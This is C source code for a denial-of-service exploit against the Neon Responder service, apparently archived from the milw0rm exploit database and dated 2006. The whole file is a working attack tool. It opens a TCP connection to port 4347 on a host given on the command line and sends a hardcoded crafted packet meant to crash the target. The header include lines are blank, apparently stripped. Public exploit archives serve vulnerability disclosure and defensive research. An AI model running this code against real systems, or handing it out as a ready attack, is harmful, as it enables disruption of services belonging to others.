/* Stefan Lochbihler*/ #include #include #include #pragma comment(lib,"ws2_32") #define PORT 4347 char CLOCK_MSG [] = "\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84"; //Password = "" void usage (char*); void endpgr (char *,SOCKET, char*); unsigned long gethost (char *); int main(int argc, char *argv[]) { WSADATA wsa; SOCKET client; sockaddr_in peer; WORD wsVersion; char sendbuffer[16]=""; char recvbuffer[16]=""; unsigned long host=0; int err=0; if(argc<2) usage(argv[0]); printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n"); if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0) { printf("WSAStartup() fail\n"); exit(0); } printf("%s:[+] Try to create socket\n",argv[0]); client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(client==INVALID_SOCKET) endpgr(argv[0],client,"[-] socket() fail"); printf("%s:[+] Lookup host\n",argv[0]); if(!(host=gethost(argv[1]))) endpgr(argv[0],client,"[-] host not found !"); peer.sin_family = AF_INET; peer.sin_port = htons(PORT); peer.sin_addr.s_addr = host; printf("%s:[+] Connect to %s\n",argv[0],argv[1]); err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in)); if(err) endpgr(argv[0],client,"[-] connect() fail"); memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG)); printf("%s:[+] Try to send packet\n",argv[0]); err=send(client,sendbuffer,sizeof(sendbuffer),0); err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0); endpgr(argv[0],client,"[+] End successfully"); return 0; } void usage(char *pgrname) { printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n"); printf("%s: \n",pgrname); exit(0); } void endpgr (char *pgrname, SOCKET client,char *msg) { printf("%s:%s\n",pgrname,msg); WSACleanup(); closesocket(client); exit(0); } unsigned long gethost(char *targethost) { unsigned long host=0; hostent *phost=NULL; host=inet_addr(targethost); if(host==INADDR_NONE) { if((phost=gethostbyname(targethost))==NULL) return 0; host=*(unsigned long*)phost->h_addr; } return host; } // milw0rm.com [2006-04-17]